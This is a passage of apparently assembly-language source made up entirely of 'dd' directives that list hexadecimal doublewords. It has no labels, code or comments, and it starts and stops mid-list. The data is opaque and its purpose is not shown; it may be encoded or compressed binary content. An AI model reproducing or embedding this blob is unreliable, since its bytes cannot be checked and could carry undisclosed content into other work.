8D45353Ah, 6AE7Ch, 0FACDBEEBh, 8FA8550Bh, 4AA63F0Ah dd 1000A83Dh, 7E19C8Dh, 0C2630364h, 1F83C726h, 1E00CE7Fh dd 0EC4C03FDh, 98EB825h, 0CCDAB48Ch, 792AD868h, 0E8ADC22h dd 5EFBF5D9h, 0E07B2D80h, 0D0ED2F2h, 0A1D03877h, 3F06B497h dd 0A600343Ch, 0BA221DAEh, 0EA053C07h, 0D8231688h, 9FE110D3h dd 0F0D06344h, 5889CEFh, 0B6DD9581h, 0B784C098h, 3280A811h dd 35CA1DFFh, 6A10253h, 90609879h, 0F006F5B7h, 0A5B4B15Ah dd 23235848h, 0DC90E00h, 4604E839h, 62801500h, 0D0670C40h dd 0A8844856h, 9FFB6100h, 88112290h, 0ED000EF0h, 3B7FDDF1h dd 5DB75CF5h, 850074CCh, 0D9BB1791h, 0DA7E37E0h, 4E59EA00h dd 52C7C377h, 131005D7h, 0ABB8B792h, 0C57F4C81h, 0A2C07431h dd 90120068h, 0B2479F9Dh, 0C92C8B42h, 36037806h, 931BD770h dd 1973CFA8h, 98F10017h, 6CC87D66h, 0F62C1038h, 8049D43Dh dd 41BAB21Ch, 90A4A8B3h, 28CF0017h, 7C460D38h, 0D8009479h dd 0F9883D18h, 7B520257h, 8D5A0010h, 19163E85h, 0A900CE78h dd 61B79C98h, 0C67BF9h, 0E21A2D3h, 0FB8CC1Fh, 56521C13h dd 2A8D7900h, 123559Fh, 0AF9A82FEh, 207E60E7h, 371618CCh dd 1C0403FBh, 0C0A85Eh, 1305A1Dh, 662EBFFFh, 40F49DACh dd 61D92CA4h, 0B1C57000h, 10E5F6FAh, 87DD044Fh, 0C740E9E6h dd 90A09069h, 571375F5h, 0D8C8992Ah, 44367EE6h, 2F35ED5Fh dd 440116A2h, 0C0D87D4h, 6F1544D4h, 0FE9E692Eh, 0D393C100h dd 7780A86Dh, 8C005C98h, 0ECCFADB3h, 96681EC7h, 988A0A08h dd 2697F8h, 0B6BD588Ch, 1900D79Eh, 0A2C02897h, 7B0F47h dd 0FBD672EDh, 0BD8584BBh, 9CA3900h, 0C2D3F29Eh, 25D909DFh dd 34852957h, 9BE488B0h, 8C56B524h, 86CC7800h, 1FF0CD2Dh dd 0C34DAD96h, 52EB1660h, 311F9D83h, 8600C7D0h, 65A7FE67h dd 6473F4h, 8476959Bh, 0AEBED088h, 0A5D6B301h, 162E695Ch dd 9847B9FCh, 720D014Ch, 0BF2799DFh, 44987041h, 614D5009h dd 0E89840D9h dd 0BEE10080h, 0C9846763h, 0AE0048BBh, 0AAB1E30Dh, 90C6B7h dd 277FD1CBh, 87E5E88Dh, 0E1B00607h, 0DC37B162h, 3FC2CAD0h dd 0CCD01CEFh, 9E8584FEh, 167CC1CBh, 658C7004h, 2E93B100h dd 0CE5FD699h, 611000EDh, 0C08C3DB7h, 0B8004B55h, 244C17C5h dd 0F8D75BDCh, 23900D0h, 7B0AF076h, 11FC23C0h, 5EB9F300h dd 0B3C40535h, 0B18207A8h, 20D2989Dh, 73882F4Ah, 5154EE00h dd 0E09963F2h, 9E800042h, 1F4A249Ch, 0BE2CB801h, 0C828A4A0h dd 6BDCD800h, 0D069B111h, 0DB753CFAh, 28804F38h, 0DCFFF756h dd 0D800C20Ch, 793C89BBh, 790AC44Bh, 7D17655h, 0F9BEA0F7h dd 195E0332h, 0A57AD4F8h, 950AEF24h, 7D785D0Dh, 7BC2F30h dd 0A88A9451h, 3369E0BDh, 8B00DE1Dh, 2AE73E27h, 7E6B174h dd 9B71F429h, 0A492E084h, 0A3E1344h, 2D2B8088h, 650BBA69h dd 0B85A0FD3h, 0C14134CDh, 0E0812270h, 4F00D6CCh, 260C350Fh dd 4AC0ACh, 0D1FE20C4h, 49A82E72h, 410E4670h, 67FD8B07h dd 1760B0B1h, 0ECD51177h, 637602h, 0BC34C38Ah, 0E71486A2h dd 8007CA3Bh, 8BAFEE99h, 0FCC865h, 5AB1E44Fh, 0C9701647h dd 7E990300h, 826377E0h, 1C4C3F0Bh, 1ADBD93h, 64169182h dd 9000FF14h, 0B1F37698h, 0B0726DA7h, 0FF2FAE9h, 0C9558E89h dd 66810DE3h, 0A80806F0h, 563F5DE4h, 79A10602h, 0F480CBD8h dd 0BCBE0753h, 80C52DA5h, 82AAD60h, 430F4C7Dh, 0A00B445Eh dd 8FE41BE5h, 42E600F5h, 0F6B7B0DCh, 60ED4661h, 7600A7BCh dd 0C5D94DD5h, 0EE0820h, 5B332E9Ch, 97600777h, 54B90501h dd 0EC190D3Ah, 63508C47h, 0F6DF715h, 74A2667Fh, 945FDE40h dd 293F0CAEh, 0EC307C24h, 0CF69A83Ch, 0B1E010BAh, 0B2725012h dd 6F2B3A00h, 6B4C97DAh, 0E67705ABh, 74180Ch, 1DA57B90h dd 0F3E9FA3h, 3BD805Eh, 9A978D0Dh, 187A1F0Bh, 0C79E84CCh dd 0CFC0FBF6h, 30C6F581h, 22869767h, 0F200B642h, 0A49D6E1Eh dd 36909E8h, 505FCF84h, 49A0B2E1h, 4A4CC5D4h, 985B0FBBh dd 0CB8F23A1h, 5290FF75h, 6E2851h, 0D035B0DFh, 0A9D14AE7h dd 74770100h, 3CD63D17h, 728D26F1h, 0B6FC00A4h, 0B93A271h dd 852D1C02h, 8062C43Ah, 5B4E38C5h, 0A83E0930h, 77000491h dd 0F4028542h, 11341A00h, 47B4B327h, 0FB5396Fh, 822A9E80h dd 1841D0ACh, 680AC200h, 6C8ABBDBh, 53A400E9h, 83F78D2h dd 0C600334Bh, 1098B158h, 0C58651h, 613B9BF0h, 819A27A4h dd 57031904h, 0EB9FBFh, 835F0DD5h, 2FECBAAAh, 0C3F6D100h dd 42107084h, 5C4A7549h, 0D901DAE9h, 0F1B85F46h, 806361BEh dd 18C96251h, 781DA99h, 34E2863Dh, 61A33E6Dh, 7FF0224Bh dd 6000EBEDh, 3B5B7378h, 1EAA6C52h, 5EA75C2Ch, 38047F2Ah dd 80DC87A4h, 0D39DD894h, 0F058D700h, 6E771846h, 84E4FFD5h dd 5E08245Dh, 3A8D001Ch, 38E516C0h, 44054Ch, 0F61EE91h dd 18B91843h, 50D0A19Bh, 0EB7BC609h, 0F172FCE6h, 5DF039h dd 8A104B38h, 1CB21E4h, 0E5DEC41Fh, 20E08F2Ah, 0AC00F824h dd 3035E8D7h, 64642C3h, 5D0F53BCh, 960620ECh, 58CB801Dh dd 1FDB0011h, 732D8922h, 0A10E28DCh, 302E77Ah, 0C07E4A1Eh dd 3E04BEDh, 0D0DFD8C0h, 0E9C96199h, 0F8B8F86Eh, 873BC909h dd 0F3A70001h, 0B607F6h, 50E5AE7Dh, 0C562D2D6h, 92EB500h dd 75F0526Fh, 0DDBD0032h, 25515388h, 7048C94Eh, 0C46B0208h dd 268311h, 8950FE2Bh, 2928D007h, 93B0BD9Eh, 9C5FF0h, 3179D27Fh dd 96F76FDBh, 0FA5C8B00h, 0AD4A72D5h, 203A0FA2h, 0B2DEC9h dd 811A78CBh, 0F7485843h, 0BEC10808h, 9C184056h, 9D00771Ch dd 7B038F48h, 0F20186h, 3A47A715h, 0CD1BABF9h, 0E29C9A00h dd 0C5291EF6h, 0C7F50074h, 796538D0h, 0E60085CAh, 0F27030E0h dd 0EE7F44h, 0A2F82688h, 53AD0BF4h, 760039FAh, 7937A6C2h dd 14243398h, 0DD77EF4Eh, 0B986D40Ch, 0A600FA60h, 6CC5D715h dd 0DD8D8Ah, 660529Dh, 0FDAD643Eh, 0B06848h, 3CE541A2h dd 2473ACA7h, 1F58E86Dh, 0CC8403E1h, 1AE1DF27h, 5269F0CEh dd 66B45003h, 808BFEEBh, 609112A4h, 0E2EFDC37h, 4C00342Fh dd 2E59EE6Ch, 74D4E68h, 0BDE472B2h, 15802ED0h, 9AD8AE14h dd 19C523Eh, 2C2A95C6h, 94D03B2Fh, 9F8902Eh, 0BD72257Fh dd 0B4203827h, 0CC5B00F2h, 117032h, 8E01ADC5h, 0F37EC7FEh dd 30F7F00h, 501DE447h, 0B03703DDh, 0C125B205h, 937B201Fh dd 89F962C0h, 0A61116h, 84483A51h, 608CF2F0h, 0CFC80100h dd 112E3296h, 9E1F0022h, 9D0A4F8Fh, 0F500417Ch, 1BA4ECAFh dd 0D989BDh, 8C85E721h, 3231403Bh, 25AAD001h, 7D1A8D4Bh dd 909DABF0h, 50306A08h, 2D5A0008h, 71EE12A6h, 3A890C0Fh dd 5608C43Bh, 84BE57C0h, 0EE302B8h, 5A49AB61h, 0C64D3060h dd 65A0B000h, 0DA3E3A9Eh, 3F9105F4h, 0C04823F9h, 3071A957h dd 684F2C00h, 0D028C85Ah, 4D7873A0h, 310EF46Fh, 4FA08A66h dd 98A45774h, 14BB5303h, 0A90FF329h, 0A2E4059Dh, 23DD0067h dd 0E868B5D5h, 0C0009389h, 0E34A60F5h, 8B7B50h, 594D5537h dd 63A157C7h, 0AF01DA00h, 277C1AAh, 80F43DF5h, 752D4700h dd 0C5411A7h, 0CE0D0701h, 16B0DE3Dh, 0E630DCh, 50C33CC7h dd 0BC38CFBBh, 0E5711A00h, 0B1D911D1h, 1B3E088h, 8F0D6D3h dd 803E848Eh, 0AED71E30h, 1D15E0B9h, 0C09AB898h, 5318032Eh dd 68011001h, 47772702h, 0EAD0CBD0h, 0BACE007Eh, 1EE5B23Dh dd 9B7BBFDBh, 6BADA004h, 5C802C9Fh, 3BC6992Dh, 9A862526h dd 0C0381E42h, 95A99D26h, 6BFF2A00h, 4555B5h, 1AA190CBh dd 220C7C6Ch, 0A233ED00h, 0AE19626h, 0C430F779h, 2B890120h dd 0C253F3EBh, 0E5B5C0D8h, 9834BD00h, 0F6291C8Eh, 74FE00B9h dd 9F5E4CD5h, 3B036C2Eh, 991A18E5h, 0B3E68894h, 4710308h dd 0F95ADDDh, 80C5A5E8h, 2004CBAh, 0C6B3F452h, 35390D9h dd 63C48AD6h, 6406AB1Fh, 8F5FB01h, 94BF1790h, 1F7DB080h dd 5CF43F0Eh, 85E98110h, 5081B840h, 7CD1454Bh, 0AB93F40Eh dd 0F00F3Ah, 3DCF36A7h, 14B81A7Ah, 18378894h, 0F3179C0Ch dd 63188960h, 77583AD7h, 0DE6919AFh, 0E0FDA88Bh, 450ABAD8h dd 3C3D7283h, 84794958h, 94887102h, 80FAF797h, 3829E960h dd 0A22000C2h, 4623FE1Ah, 0F2019533h, 35BA8C71h, 3EE49408h dd 0B47320h, 6D881F30h, 21DE9223h, 0A42D0100h, 0D64FF47Ch dd 5EC31F9Bh, 0B86580E1h, 0C8A84BDCh, 7026C014h, 0A9A700D4h dd 501BC940h, 0E20E916h, 368300DCh, 0CA1F7D22h, 0CD003965h dd 1AFD413h, 2994B50h, 7553EF10h, 0EC899E8Ch, 0AB54EA00h dd 1E7B0F17h, 60B86B00h, 2ED1FA0Eh, 0A5F10F1Fh, 7300534Dh dd 0C7DE41F8h, 0DBC2F500h, 3A8CBFD4h, 0AEE05013h, 2DD70203h dd 0FCC1CDCh, 0D1E48880h, 0A0AB9166h, 0A042EC5h, 0CC8F11E9h dd 0F44FA000h, 14AC7A3Ch, 0E8069012h, 8F567800h, 0A465E9BFh dd 0F79DB8A0h, 0EE29EB64h, 11535221h, 712BB71h, 8891BA10h dd 6D897296h, 0BC212843h, 814D64Ah, 19904DF6h, 4CE3C184h dd 55A7922h, 521D0918h, 969D005Bh, 55EA8D81h, 0D4EF9300h dd 2E19D50Fh, 280E00CFh, 598FF152h, 409AA10h, 6CEE9Dh dd 8B23A152h, 0E80E00FBh, 0E5B4FFF6h, 44001CC2h, 264D1353h dd 61FCF5h, 0FE74FD36h, 0D8786E99h, 28101200h, 8446DF85h dd 212700DAh, 429CD987h, 0A5007841h, 0A83AB4Ah, 49A96094h dd 161DD4F8h dd 626B8F18h, 73ACC80h, 0E200F910h, 7344C970h, 6CE754h dd 0ED6477A3h, 651127EAh, 0FE632800h, 7D08043Eh, 39EE1192h dd 0D26B0E29h, 0FF7380E3h, 0FDFCF8Ah, 0B604658Fh, 3EA0F48Fh dd 171229F9h, 37F2D000h, 7E10FDFBh, 59FC0941h, 81F80A9Fh dd 0D48FF500h, 0EDCCA487h, 935806A7h, 283863CAh, 3644861Fh dd 94B7DA81h, 0F0F3AB3Fh, 372270Eh, 0BF123CAEh, 15802E5Ah dd 0FB00CE1Eh, 145152C6h, 5D86E6h, 0A7B78224h, 41FE5F76h dd 6FFD2F17h, 5460F101h, 92C4E66Ah, 0BE7D66h, 0E2BF1E97h dd 0A916D445h, 0E3CD2400h, 89E79630h, 0CB1A0017h, 0C40EC51h dd 0D300B484h, 0BB55D0CCh, 5F532A9h, 8DAB1028h, 0C0901C0Eh dd 0C63920D4h, 7B00D160h, 6611AD7Ah, 7233F738h, 708800BDh dd 2124F1CAh, 5B00DD36h, 0EF48E446h, 2C08BBFCh, 0A5A16E3h dd 9DC87B8h, 1407FACBh, 536FE0AEh, 0F400742Fh, 0E2756333h dd 0C685FFh, 0CBE3027Ah, 0CAA75C9Ah, 9B527100h, 0CC8D974Fh dd 0E1BB00DEh, 83EF8C5Ah, 0B01FA838h, 0E243939Ch, 0C85B04C9h dd 52F68Dh, 292A83D1h, 6B46D7EBh, 0AF005EB0h, 0F6697D06h dd 0B04BC21Dh, 2F240EE6h, 61E0CD1Ah, 3196AECh, 0B6654D1Eh dd 64C5FD42h, 0F6D58BD7h, 0FBA403FBh, 0E0E4C34Ah, 0B8006228h dd 0C733D95Ah, 3F41E684h, 9B008CC1h, 0A4F0B4ECh, 7D006A4Bh dd 501169E2h, 3C3E642h, 356FF32Ch, 0F7808391h, 9A00BE7Ch dd 0EDFDC2ACh, 0F8B32h, 3F179018h, 0C11AC79Dh, 3061DD38h dd 494C3C31h, 347A2CCCh, 74320089h, 142B6DD2h, 0AD9D1500h dd 99BECA90h, 5CF026Ah, 894C78E2h, 34B42461h, 8400DC5Ch dd 4366492Fh, 3DA0880Ah, 0DE80CA87h, 224A83B2h, 0B603412Ch dd 924FE5F1h, 100DC85Dh, 0C7E1008Ah, 0B8B5C2D1h, 0F00FB0Ah dd 0D94054FAh, 5A3B7Fh, 566442B6h, 91EB5031h, 0D68BF41Dh dd 65E3BC40h, 2DA9033h, 0C884C04Dh, 577F25h, 0CB0B5338h dd 2F1B0012h, 0E5C2D2Ah, 0A8718731h, 0C1A3070Fh, 98AA60B2h dd 16642Fh, 9B5B8A86h, 0CD78C4A1h, 1D403800h, 25504C22h dd 75E000AAh, 9E159577h, 2077276Ch, 0FA66FC00h, 0FD993850h dd 31F70E2Bh, 836388E9h, 0BE06106h, 0A2008523h, 3A2EB474h dd 17D6AFA3h, 7894F5Fh, 0B05A44F9h, 0A7F486B3h, 7E5BFA01h dd 231F6F11h, 0E7495E8h, 0D03E9A6Ch, 0A651D4E0h, 0B3007B47h dd 69F120DFh, 7185ED70h, 324E007Ah, 0E112F6BFh, 0FA79907Eh dd 175BE91Fh, 0ED37D940h, 3C7091B4h, 3C00A2ADh, 0B2E19A16h dd 72289FA5h, 0C81C18EBh, 0A04055DCh, 561BAB26h, 6ED00010h dd 5B383B9Ah, 0F500ED43h, 0C05047BDh, 1D1DA2Ah, 1E59B842h dd 0D490A809h, 0E40030EAh, 7C402B9Fh, 24BA1732h, 24275Fh dd 0DFF6DC7Bh, 6F00DD9Ah, 0D988BB4Bh, 7F5A077h, 8B700BA7h dd 0ABC8C06Eh, 4100587Ah, 8291713Bh, 6821FDh, 184CCC8Ch dd 89349C7Eh, 0DE00DD79h, 0F8019192h, 7D17959Bh, 0B1E209ACh dd 40876D86h, 0D20870E4h, 0B33FD0D9h, 0DD116063h, 0FD37A76h dd 0AE6616BAh, 0AF78BCA0h, 136EC874h, 2DF321C0h, 22C012D0h dd 0F4A30E93h, 6763E334h, 44D0ED29h, 8F0C48EBh, 10E2C512h dd 0FA9E0926h, 0E1808A9Ch, 9607BE63h, 62127E00h, 16ABDCD0h dd 35440325h, 0B557D3D9h, 58154DA0h, 88BAA600h, 914B72C8h dd 0C24A0F94h, 0C3811D24h, 0E8A2C774h, 9970C87Bh, 0D3959F00h dd 0A7025D03h, 35B753Ch, 5466B517h, 0B800D96Dh, 0B2DA057Eh dd 73637h, 52A4EA4Bh, 0E675A808h, 4E63DE09h, 3CCA8023h dd 9042C81Eh, 66F2882h, 0F99500B2h, 3FEEE7C5h, 0C003A4Eh dd 0D2FF3944h, 2418380Dh, 947B46h, 0B92CD633h, 80A06956h dd 289070CEh, 0CCAD48h, 0FBB509FEh, 6D6B9Fh, 9E13C2D8h dd 0B10CA640h, 0D7001EE6h, 77281993h, 0E60E94E4h, 32490080h dd 0FDEB540Bh, 38003CB7h, 98F0DEB6h, 1D9350F5h, 40FBC713h dd 9DAB678Bh, 0F700ED56h, 274887F4h, 0F87502C3h, 0E77507h dd 0EBDAB9CAh, 2B218D11h, 0D61A7803h, 91D84AF8h, 7320BEB5h dd 4F2900F2h, 8188D7ECh, 0A775F96Ah, 53FA6000h, 6DC1B3E5h dd 16C7529h, 0A88012E6h, 0C1EB8BF5h, 3014F1B4h, 0FD00D1EAh dd 0DC1B2878h, 0E07CB7E2h, 43EE1CD3h, 6756807Bh, 21F8B82Eh dd 65FE2200h, 1A979AE0h, 923F0369h, 0FB3B9583h, 0A375E6D0h dd 0FAE31E01h, 38559E90h, 50968CF4h, 0FCCAEC2Dh, 83FE1CC6h dd 46770EDAh, 4373EA0h, 0F90082B8h, 0B3EF027Fh, 0C2683Ch dd 2F17268Fh, 5A581A33h, 91DF6103h, 0C893B98Bh, 2059D04Eh dd 0A400E1ADh, 2641A5EDh, 1BC0456h, 3874D676h, 0E4317D8Fh dd 0DD0079A9h, 0CE4A4359h, 71149332h, 0D663B8Dh, 0A5F7BE07h dd 0FF91E230h, 0DBC9F0E0h, 0C81D18ECh, 0F2C24897h, 0C03FAE3Dh dd 1FFD299Ah, 40E813BBh, 0D8365272h, 11662C0h, 1701DE30h dd 0FD8F10ADh, 10614D8h, 4A61657Bh, 0D020A256h, 7E00531Ch dd 0EFB0AB6Bh, 341C39Ah, 0FFFBCC2Eh, 93808494h, 68187F43h dd 9C182FDBh, 65C5016Eh, 79AED35Ch, 9F3F6047h, 94C4281Ch dd 83490780h, 4893DDh, 0D2D9AB22h, 9113F0C8h, 96FF7403h dd 0E052D1CEh, 0CE915h, 3BF2C2FCh, 0FEC92CB1h, 0CB652E00h dd 0C50F413Ch, 94A53A05h, 0F7250280h, 771B57C7h, 32B97E0Ah dd 0AE00E4D4h, 6602EA69h, 0DB1E0029h, 9554575Bh, 3600241Ah dd 70FFD26Eh, 8C90E7h, 3B32DBEEh, 66F67F2Bh, 0A8A44600h dd 6FFE77BCh, 9F4004E1h, 1FE68635h, 60C1E948h, 387ADC47h dd 0EB9818FEh, 8DB56400h, 0CCC15A5h, 4F837h, 0BC79FF4Bh dd 7E8C073Eh, 0FBF63Dh, 156EE885h, 7FF50DBAh, 917549h dd 45877CACh, 9E8BBC81h, 0DD13B501h, 0A75D84E7h, 9A7B91DFh dd 0B8D979C8h, 0D8505016h, 74DF01DCh, 0F3FEEF04h, 0DACEC05Eh dd 0DE2E6400h, 0EB156914h, 0CFFA036Fh, 7BC678EDh, 45A4C0A4h dd 2F009DA1h, 0B8CB037Ch, 0F46EF6h, 7E39E971h, 0DEBBE889h dd 0C2010A7Bh, 25F98B3h, 2420B449h, 23393F36h, 5C68CE80h dd 0D56F485Dh, 0D71C7104h, 60803709h, 19B2519h, 9AB9B1F5h dd 0F0E98F18h, 11032C8Bh, 0C7733A89h, 2E80A716h, 0EE86AEh dd 0DACA9836h, 443D02C0h, 57756600h, 78980A2h, 0FD3000B8h dd 13A7437Ah, 0D500DEAFh, 0ED031041h, 3C1F49Fh, 7FFB2689h dd 12982417h, 0E000353Bh, 0F99A66A7h, 21C6B4h, 468E5CB2h dd 3B87035Fh, 0D575071Eh, 0E883B940h, 3127DCh, 0BD35625Ah dd 42CB88C6h, 0F0CEF71Ch, 2300A35Eh, 3CC4B76Ch, 4430005Dh dd 55034728h, 0B3A22148h, 678DB780h, 0C40AA632h, 0CCEC4C86h dd 10429609h, 0B825121Ch, 5F270364h, 23EC1805h, 991A49E8h dd 70E44A03h, 9772C306h, 4012C6h, 9182DE67h, 27882EDCh dd 3326DD03h, 0B8B16041h, 2E13ACA9h, 8068E562h, 2246B63h dd 0E0389F55h, 80DC3AC8h, 7592765Eh, 2FA8143h, 0A7F30742h dd 9CC001D3h, 7F001B74h, 0A1AD69F5h, 2C9E1186h, 0B40E38h dd 0DF7D49AEh, 33FA730Fh, 78190C1Fh, 408BF6CEh, 0B8BDDE84h dd 0E0A500AEh, 0F2495FA8h, 0ED000964h, 3625796Dh, 7C2CB9DFh dd 0EC9A0019h, 17501CAEh, 0CD74D485h, 22C4334Ch, 480E2552h dd 0BE066000h, 3400BBB6h, 0F178751Dh, 0B2CE6Ch, 70C6935Eh dd 92BA87AFh, 0CACB1B00h, 0A664957h, 979F000Bh, 60DECE5Dh dd 0A60E95E9h, 650DD188h, 2440A089h, 32F2AF42h, 1B5EE0Ch dd 0D29F1A31h, 406F9B2Eh dd 0A9758FFAh, 855B073Ch, 0FAE5A029h, 0BC4A8800h, 3BC03D17h dd 0A600FB59h, 0FE7E9431h, 0CA03D7C4h, 0EAF4C5E5h, 14519091h dd 0BDE700F5h, 0F6D1C92Dh, 2E17B093h, 220017A1h, 74AE2135h dd 0FEED00E4h, 115FFAEFh, 12003B0Eh, 0D0484B50h, 0BF8AE6C4h dd 4EECA058h, 0BD595E00h, 6B67AA57h, 32483E15h, 0C509CE8Fh dd 80D28085h, 687CC260h, 38C42600h, 0AC4AFE5Ah, 906CAE51h dd 0E8E11E3Bh, 0B7C340C7h, 0F5F29D50h, 878C9A01h, 4A09B00Fh dd 5C3C308Eh, 0C0F9ABC7h, 5977FBCBh, 6DF24F00h, 7D176996h dd 0A71A03E1h, 5D9CEFA9h, 0CEF663FFh, 9E8045D0h, 0EA51200h dd 7A1B6E83h, 898D0244h, 0D703DD3Eh, 0FA0760D5h, 8EE0B7BFh dd 161E8197h, 0B145C08Bh, 90008934h, 0CD0AD2F3h, 0C3F400F5h dd 0F2265CEFh, 0B609C50Eh, 0E238583h, 719582ACh, 0D885C3C6h dd 6384421Ch, 21D55847h, 3CC1B088h, 0A2483B74h, 445860BFh dd 0D8C615h, 9867A755h, 46104AA3h, 8B00DB7Bh, 0DEA006FAh dd 0B870AE33h, 0DC4D03B8h, 0D523B024h, 88264490h, 0A4013200h dd 456B8F69h, 37500406h, 0C09F9309h, 8FA28B8h, 0A9399D00h dd 502352C3h, 0A60B005Dh, 7503B5C9h, 30901A5Ah, 0EE267F6h dd 4E32A000h, 91066A28h, 999B01F6h, 95C36D29h, 315DC8A1h dd 4C00E7E8h, 0BC1267D7h, 0F84608A4h, 3C163CA6h, 0B46B3800h dd 3E3631F1h, 901F33E4h, 0D380D7FAh, 26A2A74Fh, 71E31F0Ah dd 23FBCEA3h, 85DCE640h, 1C00B802h, 13CCD4ECh, 54A3ACh dd 4AD6493Ah, 128BDF5h, 0BC7CF00h, 4E804D1Dh, 0E0F848FDh dd 0A0B2EE00h, 0DE7DA641h, 949A1600h, 5159D522h, 36EB80Fh dd 0D3273321h, 73F8A4CCh, 2A01E9FAh, 6A062636h, 924175EBh dd 0C9C1B5AFh, 908449DCh, 0AB6838E0h, 64F17B07h, 339B7227h dd 95C7DCC0h, 0C4294E28h, 0CF1ED500h, 3D8716A3h, 0D853003Bh dd 0C4BC9B4Dh, 0D405DD77h, 3715B655h, 0F09ADCC0h, 0C9123EB5h dd 77840980h, 0EEFBB789h, 0A43EBE2Eh, 0F2C86B07h, 0CB8B150h dd 0B980611h, 219E52F8h, 7FD8C000h, 0FE62FD4Dh, 0B3BD1CC3h dd 0BA9BDEA2h, 0EC2DF000h, 14317CE2h, 2A10CCFDh, 417D4300h dd 0E9B4D48Eh, 1D3203DFh, 0CBF91546h, 2100B086h, 0DB672EEh dd 0D31238h, 1B07A837h, 8D5FBD96h, 85A56F3Bh, 0E456347Ch dd 0D05280AFh, 7B05AAD3h, 0E0C6FB38h, 907F8800h, 0EEA8F7BEh dd 4D040098h, 0B82051D1h, 0AC00EDAFh, 0C43EA9B7h, 1A05312h dd 6D19C3A3h, 0E827033Bh, 0EC05BF05h, 5B6EB15Dh, 556CBC01h dd 1D8F3CBh, 37A702A3h, 573E75BEh, 6F0F54C8h, 0A40085F2h dd 0E8FD7495h, 0E6243028h, 72EA007Fh, 0BEAEA74Ah, 0B6014077h dd 6ACA878Ah, 2FD8D235h, 826309E9h, 2000A9E1h, 46E6DC22h dd 1A60C34Ch, 47EEB55Eh, 4B880060h, 303E1D5Fh, 62F338h dd 61E271CCh, 6AD7A42h, 5AD3EBEAh, 0EF0439AAh, 0F79D6C5h dd 5D8EFCC0h, 6EDE0009h, 0EB594422h, 94A1FC39h, 86DC5064h dd 0CB001A45h, 0D7B1D60Bh, 96CD2A5Ah, 9A5400CCh, 0A4BEB509h dd 8978AC01h, 5E85C914h, 9D20E075h, 0FA7600DCh, 4FE42B96h dd 80F814D0h, 0EDCB010Bh, 15D48023h, 9C087Eh, 0F036D2FBh dd 6C30671Eh, 0EF956900h, 0D36F0657h, 8AC600E9h, 0ACE7F879h dd 3000CB98h, 0CDFE671Ah, 0CE8DA1h, 0F9475631h, 0BBACB394h dd 1FD50907h, 0F3F083AEh, 5DF1738h, 1582A94Dh, 0C3801D9Fh dd 0BD92728h, 0C3888FD8h, 21346D02h, 40D31EA5h, 3958ECE8h dd 0DA073151h, 1080B6E0h, 1E840324h, 0D14CB130h, 8B71D2h dd 8638485Fh, 0EA262095h, 0E852930Eh, 0BAC5400Ch, 0A11E07h dd 0EC113ED9h, 3D6EB66Ah, 1A50DC03h, 1FEE1EBh, 67366D70h dd 604AE068h, 4D3A102Ch, 7B41059Dh, 490E6CDh, 32BF964h dd 5501D972h, 6E8311EBh, 0BB6CF2A0h, 0FEB880FFh, 0ADE1CAEEh dd 0C9B00E46h, 0D2809E50h, 18BD15B2h, 74E8D72Ch, 644E1300h dd 50702B20h, 7C6744C9h, 0E2923A4Ah, 0AD516E30h, 430C944h dd 472A20FAh, 0D6A60020h, 6B01C1C6h, 6C28C7EBh, 701840A0h dd 6151E027h, 794E001Ah, 74472BE5h, 70280D67h, 6D001024h dd 86864EDh, 1FC9964Dh, 0F14A56h, 0E8496EACh, 153E40F8h dd 80F239ADh, 0FAAF5CBEh, 708075Ah, 0EBE2EA5Fh, 56B7E0F3h dd 0DB00FFD3h, 0E871B668h, 0B9FE02h, 49AFE9D6h, 0AC5078C9h dd 3734F39h, 910037Dh, 2C929889h, 5A19039Dh, 0D9DBBEE1h dd 0BDCCDA88h, 0F485C000h, 9598DC14h, 5E7F381Ch, 0B85F2100h dd 87EEFC52h, 75C3AE3Ch, 0DA183600h, 0CCE9E0B7h, 934C39EAh dd 82780D9Fh, 2E446190h, 744D2C48h, 96BA5B00h, 49D3D271h dd 3669031Bh, 82CD46C4h, 37707AE8h, 0EF32E107h, 0C0B778D4h dd 741C989Ah, 1A994080h, 738DCCh, 9A12BA3Ch, 935ED215h dd 0A2B47150h, 7CFE9107h, 0B700DA54h, 32997B1h, 95EABA78h dd 5DF151EEh, 0FA5F307Bh, 7FE1991Eh, 67456FC2h, 9ACCA0E2h dd 1511C3C6h, 0EC4A36B1h, 0AC64A900h, 41703718h, 0BF712100h dd 0E78D569Eh, 61780092h, 0E69B6E22h, 6000360Fh, 8870373h dd 5445AC7Fh, 0F480E2h, 0F56B3C4Bh, 6E46AE52h, 0AD01100h dd 0FF0B247Eh, 0AD7600C3h, 13732179h, 0F500657Ch, 0DCAA192Dh dd 0FEE910h, 0ED63480Ch, 3D660E6h, 90A1EB30h, 1F55F27Ah dd 2CB664A5h, 0C9C200E7h, 0A014D224h, 60672801h, 4AA8C7FDh dd 17AFFED0h, 1D4A480h, 0AEE71A29h, 3774E0ADh, 9BDBB200h dd 1FC4C32Ch, 0A01703B1h, 0E2726E15h, 0A29578E8h, 92ACE400h dd 5C93490Bh, 74C13A11h, 0A800F138h, 65A1A7DEh, 0D5070768h dd 91E4DC8Ch, 0AC461A50h, 47920714h, 309D78EDh, 33356B1h dd 98AF3001h, 0C482C5F2h, 7160BC0h, 17D7CDB4h, 0D607B7h dd 0A5FDC2A4h, 0BB50AA7Eh, 4AF0380h, 3A244B40h, 5BF8D7h dd 0BEA6A9FBh, 0B51684C9h, 0E09CB860h, 4BD935h, 0A9E55FDBh dd 0A77E3D5Bh, 176828C4h, 2151514Eh, 744A08DFh, 7E844C90h dd 43C348ECh, 79288316h, 9C101450h, 6711341Fh, 8098115Eh dd 2988CA51h, 0C3A41958h, 8FBF2932h, 1114F450h, 8F2A1C94h dd 7CAC443Ch, 0E4E714A0h, 8033A1C8h, 0C62A7902h, 3700258Bh dd 610EFCA5h, 3E1DC40h, 8730FDA8h, 0D0909847h, 3E98C42Ch dd 0B9993D06h, 1544A93h, 0C257112Dh, 2086A70Dh, 991F6098h dd 90C07330h, 0B2B135B0h, 0FE1100F7h, 3B1D17BBh, 0A0004D79h dd 529BC7E5h, 185EE84h, 73599CF0h, 0E43E4F74h, 0BBB022C4h dd 23C3ED00h, 0F494B22Bh, 60BD0044h, 711AA31Eh, 4BB8E463h dd 346BFF00h, 0B5A95953h, 894914F6h, 32FFC06h, 3B00AED8h dd 1E442C4Ah, 3963C565h, 0EC00105Dh, 257F6195h, 3A0F74FEh dd 0AAF5E9h, 0F4B0E064h, 0C8AD005Fh, 4876C741h, 0D076D293h dd 0C158D560h, 39580F75h, 0FF80082Ch, 5B2ED996h, 0F80FB79Fh dd 4001AB8Ah, 51FA2C1Ch, 0AD600D1h, 